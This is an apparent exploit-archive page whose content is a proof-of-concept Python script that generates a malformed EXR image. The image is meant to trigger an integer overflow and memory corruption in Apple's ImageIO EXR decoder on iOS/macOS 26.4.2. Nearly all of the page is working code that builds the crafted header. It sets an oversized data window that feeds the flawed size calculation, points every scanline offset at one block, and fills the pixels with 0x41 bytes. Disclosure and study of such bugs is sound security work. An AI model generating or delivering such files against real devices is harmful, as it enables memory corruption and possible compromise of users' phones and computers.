5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gen_exr_trigger.py PY
#!/usr/bin/env python3
"""
Generates a crafted EXR file capable of triggering
an integer overflow and subsequent memory corruption
on iOS/macOS 26.4.2

ImageIO vulnerability in function EXRReadPlugin::decodeBlockAppleEXR

@bellis1000
https://zygosec.com
"""

import struct
import numpy as np
import sys

# EXR magic number
EXR_MAGIC = 0x01312F76

def write_string(data, s):
    """Write a null-terminated string."""
    data.extend(s.encode() if isinstance(s, str) else s)
    data.extend(b'\x00')

def write_attr(data, name, type_name, value_bytes):
    """Write an EXR attribute: name, type, size, value."""
    write_string(data, name)
    write_string(data, type_name)
    data.extend(struct.pack('<I', len(value_bytes)))
    data.extend(value_bytes)


def write_box2i(xmin, ymin, xmax, ymax):
    """Pack a Box2i (4 x int32)."""
    return struct.pack('<iiii', xmin, ymin, xmax, ymax)


def write_v2f(x, y):
    """Pack a V2f (2 x float32)."""
    return struct.pack('<ff', x, y)


def write_chlist(channels):
    """
    Pack a channel list.
    Each channel: name (string), pixel_type (int32), 
    pLinear (uint8), reserved (3 bytes), xSampling (int32), ySampling (int32)
    Terminated by a null byte.
    """
    data = bytearray()
    for name, pixel_type in channels:
        write_string(data, name)
        data.extend(struct.pack('<I', pixel_type))  # pixel type
        data.extend(struct.pack('<B', 0))            # pLinear
        data.extend(b'\x00\x00\x00')                 # reserved
        data.extend(struct.pack('<ii', 1, 1))         # xSampling, ySampling
    data.extend(b'\x00')  # null terminator for channel list
    return bytes(data)

def write_chlist_extended(channels):
    """
    Pack a channel list with per-channel pixel type and sampling.
    channels: list of (name, pixel_type, xSampling, ySampling)
    """
    data = bytearray()
    for name, pixel_type, x_sampling, y_sampling in channels:
        write_string(data, name)
        data.extend(struct.pack('<I', pixel_type))
        data.extend(struct.pack('<B', 0))           # pLinear
        data.extend(b'\x00\x00\x00')                # reserved
        data.extend(struct.pack('<ii', x_sampling, y_sampling))
    data.extend(b'\x00')
    return bytes(data)

def generate_exr_overflow_trigger(filename, width, height):
    num_channels = 4

    header = bytearray()
    header.extend(struct.pack('<I', EXR_MAGIC))
    header.extend(struct.pack('<I', 2))

    chlist = write_chlist_extended([
        ("A", 2, 1, 1),
        ("B", 2, 1, 1),
        ("G", 2, 1, 1),
        ("R", 2, 1, 1),
    ])
    write_attr(header, "channels", "chlist", chlist)
    write_attr(header, "compression", "compression",
               struct.pack('<B', 0))

    # these are the values used in the buggy size calculation
    write_attr(header, "dataWindow", "box2i",
               write_box2i(0, 0, width - 1, height - 1))

    # these ones aren't used in that calculation, so they can remain small
    write_attr(header, "displayWindow", "box2i",
               write_box2i(0, 0, 100 - 1, 100 - 1))
    
    # standard stuff that needs to be present in EXR files
    write_attr(header, "lineOrder", "lineOrder",
               struct.pack('<B', 0))
    write_attr(header, "pixelAspectRatio", "float",
               struct.pack('<f', 1.0))
    write_attr(header, "screenWindowCenter", "v2f",
               write_v2f(0.0, 0.0))
    write_attr(header, "screenWindowWidth", "float",
               struct.pack('<f', 1.0))
    header.extend(b'\x00')

    scanline_size = width * num_channels * 4  # one scanline
    
    offsets = bytearray()
    pixel_data_start = len(header) + height * 8
    for y in range(height):
        # All scanlines point to the same data
        offsets.extend(struct.pack('<Q', pixel_data_start))
    
    # one legit scanline
    pixel_data = bytearray()
    pixel_data.extend(struct.pack('<i', 0))            # y = 0
    pixel_data.extend(struct.pack('<I', scanline_size)) # data size
    pixel_data.extend(b'\x41' * scanline_size)  # fill pixel data with 0x41414141

    with open(filename, 'wb') as f:
        f.write(header)
        f.write(offsets)
        f.write(pixel_data)

    print("[+] done")

if __name__ == "__main__":
    generate_exr_overflow_trigger("zygosec_poc.exr", 16384, 65536)